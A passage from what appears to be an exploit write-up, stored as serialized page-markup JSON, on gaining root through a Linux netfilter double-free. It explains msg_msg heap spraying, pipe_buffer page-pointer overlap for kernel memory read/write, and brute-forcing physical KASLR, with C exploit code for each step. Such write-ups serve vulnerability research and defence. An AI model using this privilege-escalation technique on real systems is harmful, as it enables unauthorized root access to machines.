pointer",{"type":25,"tag":38,"props":61397,"children":61398},{},[61399,61401,61407,61409,61414,61416,61422],{"type":31,"value":61400},"Using the double-free vulnerability we can overlap a ",{"type":25,"tag":82,"props":61402,"children":61404},{"className":61403},[],[61405],{"type":31,"value":61406},"msg_msg",{"type":31,"value":61408}," object with with ",{"type":25,"tag":82,"props":61410,"children":61412},{"className":61411},[],[61413],{"type":31,"value":59061},{"type":31,"value":61415}," and control the ",{"type":25,"tag":82,"props":61417,"children":61419},{"className":61418},[],[61420],{"type":31,"value":61421},"m_list.next",{"type":31,"value":61423}," pointer.",{"type":25,"tag":206,"props":61425,"children":61427},{"className":33064,"code":61426,"language":33066,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[61428],{"type":25,"tag":82,"props":61429,"children":61430},{"__ignoreMap":7},[61431,61439,61455,61476,61489,61507,61532,61548,61556,61563,61570,61578,61610],{"type":25,"tag":216,"props":61432,"children":61433},{"class":6916,"line":6917},[61434],{"type":25,"tag":216,"props":61435,"children":61436},{"style":6921},[61437],{"type":31,"value":61438},"/* one msg_msg structure for each message */\n",{"type":25,"tag":216,"props":61440,"children":61441},{"class":6916,"line":6763},[61442,61446,61451],{"type":25,"tag":216,"props":61443,"children":61444},{"style":6930},[61445],{"type":31,"value":13351},{"type":25,"tag":216,"props":61447,"children":61448},{"style":7369},[61449],{"type":31,"value":61450}," msg_msg",{"type":25,"tag":216,"props":61452,"children":61453},{"style":6958},[61454],{"type":31,"value":7235},{"type":25,"tag":216,"props":61456,"children":61457},{"class":6916,"line":6772},[61458,61462,61467,61472],{"type":25,"tag":216,"props":61459,"children":61460},{"style":6930},[61461],{"type":31,"value":25105},{"type":25,"tag":216,"props":61463,"children":61464},{"style":7369},[61465],{"type":31,"value":61466}," list_head",{"type":25,"tag":216,"props":61468,"children":61469},{"style":6941},[61470],{"type":31,"value":61471}," m_list",{"type":25,"tag":216,"props":61473,"children":61474},{"style":6958},[61475],{"type":31,"value":6961},{"type":25,"tag":216,"props":61477,"children":61478},{"class":6916,"line":6999},[61479,61484],{"type":25,"tag":216,"props":61480,"children":61481},{"style":6930},[61482],{"type":31,"value":61483}," long",{"type":25,"tag":216,"props":61485,"children":61486},{"style":6958},[61487],{"type":31,"value":61488}," m_type;\n",{"type":25,"tag":216,"props":61490,"children":61491},{"class":6916,"line":7104},[61492,61497,61502],{"type":25,"tag":216,"props":61493,"children":61494},{"style":6930},[61495],{"type":31,"value":61496}," size_t",{"type":25,"tag":216,"props":61498,"children":61499},{"style":6958},[61500],{"type":31,"value":61501}," m_ts;",{"type":25,"tag":216,"props":61503,"children":61504},{"style":6921},[61505],{"type":31,"value":61506},"  /* message text size */\n",{"type":25,"tag":216,"props":61508,"children":61509},{"class":6916,"line":7210},[61510,61514,61519,61523,61528],{"type":25,"tag":216,"props":61511,"children":61512},{"style":6930},[61513],{"type":31,"value":25105},{"type":25,"tag":216,"props":61515,"children":61516},{"style":7369},[61517],{"type":31,"value":61518}," msg_msgseg",{"type":25,"tag":216,"props":61520,"children":61521},{"style":6930},[61522],{"type":31,"value":13767},{"type":25,"tag":216,"props":61524,"children":61525},{"style":6941},[61526],{"type":31,"value":61527},"next",{"type":25,"tag":216,"props":61529,"children":61530},{"style":6958},[61531],{"type":31,"value":6961},{"type":25,"tag":216,"props":61533,"children":61534},{"class":6916,"line":7238},[61535,61539,61543],{"type":25,"tag":216,"props":61536,"children":61537},{"style":6930},[61538],{"type":31,"value":55012},{"type":25,"tag":216,"props":61540,"children":61541},{"style":6947},[61542],{"type":31,"value":13767},{"type":25,"tag":216,"props":61544,"children":61545},{"style":6958},[61546],{"type":31,"value":61547},"security;\n",{"type":25,"tag":216,"props":61549,"children":61550},{"class":6916,"line":7251},[61551],{"type":25,"tag":216,"props":61552,"children":61553},{"style":6921},[61554],{"type":31,"value":61555}," /* the actual message follows immediately */\n",{"type":25,"tag":216,"props":61557,"children":61558},{"class":6916,"line":7269},[61559],{"type":25,"tag":216,"props":61560,"children":61561},{"style":6958},[61562],{"type":31,"value":20530},{"type":25,"tag":216,"props":61564,"children":61565},{"class":6916,"line":7290},[61566],{"type":25,"tag":216,"props":61567,"children":61568},{"style":6958},[61569],{"type":31,"value":14269},{"type":25,"tag":216,"props":61571,"children":61572},{"class":6916,"line":7299},[61573],{"type":25,"tag":216,"props":61574,"children":61575},{"style":6958},[61576],{"type":31,"value":61577},"struct list_head {\n",{"type":25,"tag":216,"props":61579,"children":61580},{"class":6916,"line":7551},[61581,61585,61589,61593,61597,61601,61605],{"type":25,"tag":216,"props":61582,"children":61583},{"style":6930},[61584],{"type":31,"value":25105},{"type":25,"tag":216,"props":61586,"children":61587},{"style":7369},[61588],{"type":31,"value":61466},{"type":25,"tag":216,"props":61590,"children":61591},{"style":6930},[61592],{"type":31,"value":13767},{"type":25,"tag":216,"props":61594,"children":61595},{"style":6941},[61596],{"type":31,"value":61527},{"type":25,"tag":216,"props":61598,"children":61599},{"style":6958},[61600],{"type":31,"value":7020},{"type":25,"tag":216,"props":61602,"children":61603},{"style":6947},[61604],{"type":31,"value":8513},{"type":25,"tag":216,"props":61606,"children":61607},{"style":6958},[61608],{"type":31,"value":61609},"prev;\n",{"type":25,"tag":216,"props":61611,"children":61612},{"class":6916,"line":7568},[61613],{"type":25,"tag":216,"props":61614,"children":61615},{"style":6958},[61616],{"type":31,"value":20530},{"type":25,"tag":38,"props":61618,"children":61619},{},[61620,61622,61628,61630,61635],{"type":31,"value":61621},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":25,"tag":82,"props":61623,"children":61625},{"className":61624},[],[61626],{"type":31,"value":61627},"mlist.next",{"type":31,"value":61629}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":25,"tag":82,"props":61631,"children":61633},{"className":61632},[],[61634],{"type":31,"value":61406},{"type":31,"value":61636}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":25,"tag":38,"props":61638,"children":61639},{},[61640,61642,61647,61649],{"type":31,"value":61641},"By incrementing the next pointer of our controllable ",{"type":25,"tag":82,"props":61643,"children":61645},{"className":61644},[],[61646],{"type":31,"value":61406},{"type":31,"value":61648}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":25,"tag":6461,"props":61650,"children":61652},{"alt":54541,"src":61651},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":25,"tag":206,"props":61654,"children":61656},{"className":33064,"code":61655,"language":33066,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[61657],{"type":25,"tag":82,"props":61658,"children":61659},{"__ignoreMap":7},[61660,61667,61675,61701,61718,61766,61773,61813,61845,61852,61873,61880,61927,61991,62017,62063,62087,62131,62138,62146,62182,62206,62213,62233,62240],{"type":25,"tag":216,"props":61661,"children":61662},{"class":6916,"line":6917},[61663],{"type":25,"tag":216,"props":61664,"children":61665},{"style":6958},[61666],{"type":31,"value":14269},{"type":25,"tag":216,"props":61668,"children":61669},{"class":6916,"line":6763},[61670],{"type":25,"tag":216,"props":61671,"children":61672},{"style":6958},[61673],{"type":31,"value":61674},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":25,"tag":216,"props":61676,"children":61677},{"class":6916,"line":6772},[61678,61683,61687,61691,61696],{"type":25,"tag":216,"props":61679,"children":61680},{"style":6958},[61681],{"type":31,"value":61682},"    msg_t *msg = calloc(1, ",{"type":25,"tag":216,"props":61684,"children":61685},{"style":7369},[61686],{"type":31,"value":59290},{"type":25,"tag":216,"props":61688,"children":61689},{"style":6958},[61690],{"type":31,"value":1844},{"type":25,"tag":216,"props":61692,"children":61693},{"style":7369},[61694],{"type":31,"value":61695},"msg_t",{"type":25,"tag":216,"props":61697,"children":61698},{"style":6958},[61699],{"type":31,"value":61700},") + 0xe8 - 48);\n",{"type":25,"tag":216,"props":61702,"children":61703},{"class":6916,"line":6999},[61704,61708,61713],{"type":25,"tag":216,"props":61705,"children":61706},{"style":6930},[61707],{"type":31,"value":23031},{"type":25,"tag":216,"props":61709,"children":61710},{"style":6941},[61711],{"type":31,"value":61712}," qid",{"type":25,"tag":216,"props":61714,"children":61715},{"style":6958},[61716],{"type":31,"value":61717},"[SPRAY];\n",{"type":25,"tag":216,"props":61719,"children":61720},{"class":6916,"line":7104},[61721,61725,61729,61733,61737,61741,61745,61749,61753,61758,61762],{"type":25,"tag":216,"props":61722,"children":61723},{"style":6967},[61724],{"type":31,"value":6970},{"type":25,"tag":216,"props":61726,"children":61727},{"style":6958},[61728],{"type":31,"value":7010},{"type":25,"tag":216,"props":61730,"children":61731},{"style":6930},[61732],{"type":31,"value":23001},{"type":25,"tag":216,"props":61734,"children":61735},{"style":6958},[61736],{"type":31,"value":58506},{"type":25,"tag":216,"props":61738,"children":61739},{"style":6947},[61740],{"type":31,"value":266},{"type":25,"tag":216,"props":61742,"children":61743},{"style":6983},[61744],{"type":31,"value":6986},{"type":25,"tag":216,"props":61746,"children":61747},{"style":6958},[61748],{"type":31,"value":55196},{"type":25,"tag":216,"props":61750,"children":61751},{"style":6947},[61752],{"type":31,"value":9751},{"type":25,"tag":216,"props":61754,"children":61755},{"style":6958},[61756],{"type":31,"value":61757}," SPRAY; i",{"type":25,"tag":216,"props":61759,"children":61760},{"style":6947},[61761],{"type":31,"value":55232},{"type":25,"tag":216,"props":61763,"children":61764},{"style":6958},[61765],{"type":31,"value":7101},{"type":25,"tag":216,"props":61767,"children":61768},{"class":6916,"line":7210},[61769],{"type":25,"tag":216,"props":61770,"children":61771},{"style":6958},[61772],{"type":31,"value":33141},{"type":25,"tag":216,"props":61774,"children":61775},{"class":6916,"line":7238},[61776,61781,61785,61789,61794,61799,61804,61808],{"type":25,"tag":216,"props":61777,"children":61778},{"style":6941},[61779],{"type":31,"value":61780},"        qid",{"type":25,"tag":216,"props":61782,"children":61783},{"style":6958},[61784],{"type":31,"value":58558},{"type":25,"tag":216,"props":61786,"children":61787},{"style":6947},[61788],{"type":31,"value":266},{"type":25,"tag":216,"props":61790,"children":61791},{"style":7041},[61792],{"type":31,"value":61793}," msgget",{"type":25,"tag":216,"props":61795,"children":61796},{"style":6958},[61797],{"type":31,"value":61798},"(IPC_PRIVATE, ",{"type":25,"tag":216,"props":61800,"children":61801},{"style":6983},[61802],{"type":31,"value":61803},"0666",{"type":25,"tag":216,"props":61805,"children":61806},{"style":6947},[61807],{"type":31,"value":8212},{"type":25,"tag":216,"props":61809,"children":61810},{"style":6958},[61811],{"type":31,"value":61812}," IPC_CREAT);\n",{"type":25,"tag":216,"props":61814,"children":61815},{"class":6916,"line":7251},[61816,61820,61824,61829,61833,61837,61841],{"type":25,"tag":216,"props":61817,"children":61818},{"style":6967},[61819],{"type":31,"value":7216},{"type":25,"tag":216,"props":61821,"children":61822},{"style":6958},[61823],{"type":31,"value":7010},{"type":25,"tag":216,"props":61825,"children":61826},{"style":6941},[61827],{"type":31,"value":61828},"qid",{"type":25,"tag":216,"props":61830,"children":61831},{"style":6958},[61832],{"type":31,"value":58558},{"type":25,"tag":216,"props":61834,"children":61835},{"style":6947},[61836],{"type":31,"value":9751},{"type":25,"tag":216,"props":61838,"children":61839},{"style":6983},[61840],{"type":31,"value":6986},{"type":25,"tag":216,"props":61842,"children":61843},{"style":6958},[61844],{"type":31,"value":7101},{"type":25,"tag":216,"props":61846,"children":61847},{"class":6916,"line":7269},[61848],{"type":25,"tag":216,"props":61849,"children":61850},{"style":6958},[61851],{"type":31,"value":35615},{"type":25,"tag":216,"props":61853,"children":61854},{"class":6916,"line":7290},[61855,61860,61864,61869],{"type":25,"tag":216,"props":61856,"children":61857},{"style":7041},[61858],{"type":31,"value":61859},"            perror",{"type":25,"tag":216,"props":61861,"children":61862},{"style":6958},[61863],{"type":31,"value":1844},{"type":25,"tag":216,"props":61865,"children":61866},{"style":8199},[61867],{"type":31,"value":61868},"\"[-] msgget\"",{"type":25,"tag":216,"props":61870,"children":61871},{"style":6958},[61872],{"type":31,"value":7791},{"type":25,"tag":216,"props":61874,"children":61875},{"class":6916,"line":7299},[61876],{"type":25,"tag":216,"props":61877,"children":61878},{"style":6958},[61879],{"type":31,"value":7296},{"type":25,"tag":216,"props":61881,"children":61882},{"class":6916,"line":7551},[61883,61887,61891,61896,61900,61904,61909,61913,61918,61922],{"type":25,"tag":216,"props":61884,"children":61885},{"style":6947},[61886],{"type":31,"value":11697},{"type":25,"tag":216,"props":61888,"children":61889},{"style":6958},[61890],{"type":31,"value":1844},{"type":25,"tag":216,"props":61892,"children":61893},{"style":6930},[61894],{"type":31,"value":61895},"uint32_t",{"type":25,"tag":216,"props":61897,"children":61898},{"style":6947},[61899],{"type":31,"value":13767},{"type":25,"tag":216,"props":61901,"children":61902},{"style":6958},[61903],{"type":31,"value":1882},{"type":25,"tag":216,"props":61905,"children":61906},{"style":6941},[61907],{"type":31,"value":61908},"msg",{"type":25,"tag":216,"props":61910,"children":61911},{"style":6958},[61912],{"type":31,"value":17708},{"type":25,"tag":216,"props":61914,"children":61915},{"style":6941},[61916],{"type":31,"value":61917},"mtext",{"type":25,"tag":216,"props":61919,"children":61920},{"style":6947},[61921],{"type":31,"value":6950},{"type":25,"tag":216,"props":61923,"children":61924},{"style":6958},[61925],{"type":31,"value":61926}," i;\n",{"type":25,"tag":216,"props":61928,"children":61929},{"class":6916,"line":7568},[61930,61934,61938,61942,61946,61950,61954,61958,61962,61966,61970,61974,61978,61982,61987],{"type":25,"tag":216,"props":61931,"children":61932},{"style":6947},[61933],{"type":31,"value":11697},{"type":25,"tag":216,"props":61935,"children":61936},{"style":6958},[61937],{"type":31,"value":1844},{"type":25,"tag":216,"props":61939,"children":61940},{"style":6930},[61941],{"type":31,"value":59597},{"type":25,"tag":216,"props":61943,"children":61944},{"style":6947},[61945],{"type":31,"value":13767},{"type":25,"tag":216,"props":61947,"children":61948},{"style":6958},[61949],{"type":31,"value":1882},{"type":25,"tag":216,"props":61951,"children":61952},{"style":6947},[61953],{"type":31,"value":7053},{"type":25,"tag":216,"props":61955,"children":61956},{"style":6941},[61957],{"type":31,"value":61908},{"type":25,"tag":216,"props":61959,"children":61960},{"style":6958},[61961],{"type":31,"value":17708},{"type":25,"tag":216,"props":61963,"children":61964},{"style":6941},[61965],{"type":31,"value":61917},{"type":25,"tag":216,"props":61967,"children":61968},{"style":6958},[61969],{"type":31,"value":7695},{"type":25,"tag":216,"props":61971,"children":61972},{"style":6983},[61973],{"type":31,"value":8025},{"type":25,"tag":216,"props":61975,"children":61976},{"style":6958},[61977],{"type":31,"value":12608},{"type":25,"tag":216,"props":61979,"children":61980},{"style":6947},[61981],{"type":31,"value":266},{"type":25,"tag":216,"props":61983,"children":61984},{"style":6983},[61985],{"type":31,"value":61986}," 0xdeadbeefcafebabe",{"type":25,"tag":216,"props":61988,"children":61989},{"style":6958},[61990],{"type":31,"value":6961},{"type":25,"tag":216,"props":61992,"children":61993},{"class":6916,"line":7585},[61994,61999,62003,62008,62012],{"type":25,"tag":216,"props":61995,"children":61996},{"style":6941},[61997],{"type":31,"value":61998},"        msg",{"type":25,"tag":216,"props":62000,"children":62001},{"style":6958},[62002],{"type":31,"value":17708},{"type":25,"tag":216,"props":62004,"children":62005},{"style":6941},[62006],{"type":31,"value":62007},"mtype",{"type":25,"tag":216,"props":62009,"children":62010},{"style":6947},[62011],{"type":31,"value":6950},{"type":25,"tag":216,"props":62013,"children":62014},{"style":6958},[62015],{"type":31,"value":62016}," MTYPE_PRIMARY;\n",{"type":25,"tag":216,"props":62018,"children":62019},{"class":6916,"line":7598},[62020,62025,62029,62033,62038,62042,62046,62051,62055,62059],{"type":25,"tag":216,"props":62021,"children":62022},{"style":7041},[62023],{"type":31,"value":62024},"        msgsnd",{"type":25,"tag":216,"props":62026,"children":62027},{"style":6958},[62028],{"type":31,"value":1844},{"type":25,"tag":216,"props":62030,"children":62031},{"style":6941},[62032],{"type":31,"value":61828},{"type":25,"tag":216,"props":62034,"children":62035},{"style":6958},[62036],{"type":31,"value":62037},"[i], msg, ",{"type":25,"tag":216,"props":62039,"children":62040},{"style":6983},[62041],{"type":31,"value":59934},{"type":25,"tag":216,"props":62043,"children":62044},{"style":6947},[62045],{"type":31,"value":55218},{"type":25,"tag":216,"props":62047,"children":62048},{"style":6983},[62049],{"type":31,"value":62050}," 48",{"type":25,"tag":216,"props":62052,"children":62053},{"style":6958},[62054],{"type":31,"value":7020},{"type":25,"tag":216,"props":62056,"children":62057},{"style":6983},[62058],{"type":31,"value":1876},{"type":25,"tag":216,"props":62060,"children":62061},{"style":6958},[62062],{"type":31,"value":7791},{"type":25,"tag":216,"props":62064,"children":62065},{"class":6916,"line":7607},[62066,62070,62074,62078,62082],{"type":25,"tag":216,"props":62067,"children":62068},{"style":6941},[62069],{"type":31,"value":61998},{"type":25,"tag":216,"props":62071,"children":62072},{"style":6958},[62073],{"type":31,"value":17708},{"type":25,"tag":216,"props":62075,"children":62076},{"style":6941},[62077],{"type":31,"value":62007},{"type":25,"tag":216,"props":62079,"children":62080},{"style":6947},[62081],{"type":31,"value":6950},{"type":25,"tag":216,"props":62083,"children":62084},{"style":6958},[62085],{"type":31,"value":62086}," MTYPE_SECONDARY;\n",{"type":25,"tag":216,"props":62088,"children":62089},{"class":6916,"line":7630},[62090,62094,62098,62102,62106,62111,62115,62119,62123,62127],{"type":25,"tag":216,"props":62091,"children":62092},{"style":7041},[62093],{"type":31,"value":62024},{"type":25,"tag":216,"props":62095,"children":62096},{"style":6958},[62097],{"type":31,"value":1844},{"type":25,"tag":216,"props":62099,"children":62100},{"style":6941},[62101],{"type":31,"value":61828},{"type":25,"tag":216,"props":62103,"children":62104},{"style":6958},[62105],{"type":31,"value":62037},{"type":25,"tag":216,"props":62107,"children":62108},{"style":6983},[62109],{"type":31,"value":62110},"1024",{"type":25,"tag":216,"props":62112,"children":62113},{"style":6947},[62114],{"type":31,"value":55218},{"type":25,"tag":216,"props":62116,"children":62117},{"style":6983},[62118],{"type":31,"value":62050},{"type":25,"tag":216,"props":62120,"children":62121},{"style":6958},[62122],{"type":31,"value":7020},{"type":25,"tag":216,"props":62124,"children":62125},{"style":6983},[62126],{"type":31,"value":1876},{"type":25,"tag":216,"props":62128,"children":62129},{"style":6958},[62130],{"type":31,"value":7791},{"type":25,"tag":216,"props":62132,"children":62133},{"class":6916,"line":7639},[62134],{"type":25,"tag":216,"props":62135,"children":62136},{"style":6958},[62137],{"type":31,"value":7305},{"type":25,"tag":216,"props":62139,"children":62140},{"class":6916,"line":7648},[62141],{"type":25,"tag":216,"props":62142,"children":62143},{"style":6921},[62144],{"type":31,"value":62145},"    // Prepare evil msg\n",{"type":25,"tag":216,"props":62147,"children":62148},{"class":6916,"line":7716},[62149,62153,62158,62162,62166,62170,62174,62178],{"type":25,"tag":216,"props":62150,"children":62151},{"style":6930},[62152],{"type":31,"value":23031},{"type":25,"tag":216,"props":62154,"children":62155},{"style":6958},[62156],{"type":31,"value":62157}," evilqid ",{"type":25,"tag":216,"props":62159,"children":62160},{"style":6947},[62161],{"type":31,"value":266},{"type":25,"tag":216,"props":62163,"children":62164},{"style":7041},[62165],{"type":31,"value":61793},{"type":25,"tag":216,"props":62167,"children":62168},{"style":6958},[62169],{"type":31,"value":61798},{"type":25,"tag":216,"props":62171,"children":62172},{"style":6983},[62173],{"type":31,"value":61803},{"type":25,"tag":216,"props":62175,"children":62176},{"style":6947},[62177],{"type":31,"value":8212},{"type":25,"tag":216,"props":62179,"children":62180},{"style":6958},[62181],{"type":31,"value":61812},{"type":25,"tag":216,"props":62183,"children":62184},{"class":6916,"line":7724},[62185,62189,62194,62198,62202],{"type":25,"tag":216,"props":62186,"children":62187},{"style":6967},[62188],{"type":31,"value":16229},{"type":25,"tag":216,"props":62190,"children":62191},{"style":6958},[62192],{"type":31,"value":62193}," (evilqid ",{"type":25,"tag":216,"props":62195,"children":62196},{"style":6947},[62197],{"type":31,"value":9751},{"type":25,"tag":216,"props":62199,"children":62200},{"style":6983},[62201],{"type":31,"value":6986},{"type":25,"tag":216,"props":62203,"children":62204},{"style":6958},[62205],{"type":31,"value":7101},{"type":25,"tag":216,"props":62207,"children":62208},{"class":6916,"line":7754},[62209],{"type":25,"tag":216,"props":62210,"children":62211},{"style":6958},[62212],{"type":31,"value":33141},{"type":25,"tag":216,"props":62214,"children":62215},{"class":6916,"line":7762},[62216,62221,62225,62229],{"type":25,"tag":216,"props":62217,"children":62218},{"style":7041},[62219],{"type":31,"value":62220},"        perror",{"type":25,"tag":216,"props":62222,"children":62223},{"style":6958},[62224],{"type":31,"value":1844},{"type":25,"tag":216,"props":62226,"children":62227},{"style":8199},[62228],{"type":31,"value":61868},{"type":25,"tag":216,"props":62230,"children":62231},{"style":6958},[62232],{"type":31,"value":7791},{"type":25,"tag":216,"props":62234,"children":62235},{"class":6916,"line":7794},[62236],{"type":25,"tag":216,"props":62237,"children":62238},{"style":6958},[62239],{"type":31,"value":7305},{"type":25,"tag":216,"props":62241,"children":62242},{"class":6916,"line":7802},[62243],{"type":25,"tag":216,"props":62244,"children":62245},{"style":6958},[62246],{"type":31,"value":62247},"[...] // trigger double-free in kmalloc-256\n",{"type":25,"tag":607,"props":62249,"children":62251},{"id":62250},"using-pipe_buffer-page-pointer-for-physical-readwrite",[62252],{"type":31,"value":62253},"Using pipe_buffer->page pointer for physical read/write",{"type":25,"tag":38,"props":62255,"children":62256},{},[62257,62259,62265,62266,62272,62273,62279,62281,62287],{"type":31,"value":62258},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":25,"tag":82,"props":62260,"children":62262},{"className":62261},[],[62263],{"type":31,"value":62264},"kmalloc-1k",{"type":31,"value":1301},{"type":25,"tag":82,"props":62267,"children":62269},{"className":62268},[],[62270],{"type":31,"value":62271},"overlap pipe_buffer",{"type":31,"value":25458},{"type":25,"tag":82,"props":62274,"children":62276},{"className":62275},[],[62277],{"type":31,"value":62278},"skbuf",{"type":31,"value":62280}," data to control the ",{"type":25,"tag":82,"props":62282,"children":62284},{"className":62283},[],[62285],{"type":31,"value":62286},"page",{"type":31,"value":705},{"type":25,"tag":38,"props":62289,"children":62290},{},[62291,62292,62297,62299,62305,62307],{"type":31,"value":474},{"type":25,"tag":82,"props":62293,"children":62295},{"className":62294},[],[62296],{"type":31,"value":62286},{"type":31,"value":62298}," field is a pointer into ",{"type":25,"tag":82,"props":62300,"children":62302},{"className":62301},[],[62303],{"type":31,"value":62304},"vmemmap_base",{"type":31,"value":62306},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":25,"tag":6461,"props":62308,"children":62310},{"alt":54541,"src":62309},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":25,"tag":38,"props":62312,"children":62313},{},[62314,62316,62321],{"type":31,"value":62315},"This now allows us to navigate the ",{"type":25,"tag":82,"props":62317,"children":62319},{"className":62318},[],[62320],{"type":31,"value":62304},{"type":31,"value":62322}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":25,"tag":607,"props":62324,"children":62326},{"id":62325},"bruteforce-physical-kernel-base",[62327],{"type":31,"value":62328},"Bruteforce physical kernel base",{"type":25,"tag":38,"props":62330,"children":62331},{},[62332,62334,62340,62342,62347,62349,62355],{"type":31,"value":62333},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":25,"tag":82,"props":62335,"children":62337},{"className":62336},[],[62338],{"type":31,"value":62339},"modprobe_path",{"type":31,"value":62341},". Keep in mind that simply searching page by page from the start of ",{"type":25,"tag":82,"props":62343,"children":62345},{"className":62344},[],[62346],{"type":31,"value":62304},{"type":31,"value":62348}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":25,"tag":82,"props":62350,"children":62352},{"className":62351},[],[62353],{"type":31,"value":62354},"PHYSICAL_ALIGN",{"type":31,"value":62356}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":25,"tag":206,"props":62358,"children":62360},{"className":33064,"code":62359,"language":33066,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[62361],{"type":25,"tag":82,"props":62362,"children":62363},{"__ignoreMap":7},[62364,62371,62379,62387,62411,62444,62464,62504,62511,62555,62589,62616,62652,62659,62705,62712,62742,62755,62820,62827,62839,62847,62854,62861,62887,62894,62914,62926,62933,62940,62947],{"type":25,"tag":216,"props":62365,"children":62366},{"class":6916,"line":6917},[62367],{"type":25,"tag":216,"props":62368,"children":62369},{"style":6958},[62370],{"type":31,"value":14269},{"type":25,"tag":216,"props":62372,"children":62373},{"class":6916,"line":6763},[62374],{"type":25,"tag":216,"props":62375,"children":62376},{"style":6958},[62377],{"type":31,"value":62378},"// Bruteforce phys-KASLR\n",{"type":25,"tag":216,"props":62380,"children":62381},{"class":6916,"line":6772},[62382],{"type":25,"tag":216,"props":62383,"children":62384},{"style":6958},[62385],{"type":31,"value":62386},"    uint64_t kernel_base;\n",{"type":25,"tag":216,"props":62388,"children":62389},{"class":6916,"line":6999},[62390,62394,62399,62403,62407],{"type":25,"tag":216,"props":62391,"children":62392},{"style":6930},[62393],{"type":31,"value":50435},{"type":25,"tag":216,"props":62395,"children":62396},{"style":6958},[62397],{"type":31,"value":62398}," found ",{"type":25,"tag":216,"props":62400,"children":62401},{"style":6947},[62402],{"type":31,"value":266},{"type":25,"tag":216,"props":62404,"children":62405},{"style":6930},[62406],{"type":31,"value":13006},{"type":25,"tag":216,"props":62408,"children":62409},{"style":6958},[62410],{"type":31,"value":6961},{"type":25,"tag":216,"props":62412,"children":62413},{"class":6916,"line":7104},[62414,62419,62423,62428,62432,62436,62440],{"type":25,"tag":216,"props":62415,"children":62416},{"style":6930},[62417],{"type":31,"value":62418},"    uint8_t",{"type":25,"tag":216,"props":62420,"children":62421},{"style":6941},[62422],{"type":31,"value":19056},{"type":25,"tag":216,"props":62424,"children":62425},{"style":6958},[62426],{"type":31,"value":62427},"[PAGE_SIZE] ",{"type":25,"tag":216,"props":62429,"children":62430},{"style":6947},[62431],{"type":31,"value":266},{"type":25,"tag":216,"props":62433,"children":62434},{"style":6958},[62435],{"type":31,"value":49179},{"type":25,"tag":216,"props":62437,"children":62438},{"style":6983},[62439],{"type":31,"value":1876},{"type":25,"tag":216,"props":62441,"children":62442},{"style":6958},[62443],{"type":31,"value":20530},{"type":25,"tag":216,"props":62445,"children":62446},{"class":6916,"line":7210},[62447,62451,62455,62460],{"type":25,"tag":216,"props":62448,"children":62449},{"style":7041},[62450],{"type":31,"value":59469},{"type":25,"tag":216,"props":62452,"children":62453},{"style":6958},[62454],{"type":31,"value":1844},{"type":25,"tag":216,"props":62456,"children":62457},{"style":8199},[62458],{"type":31,"value":62459},"\"[*] bruteforce 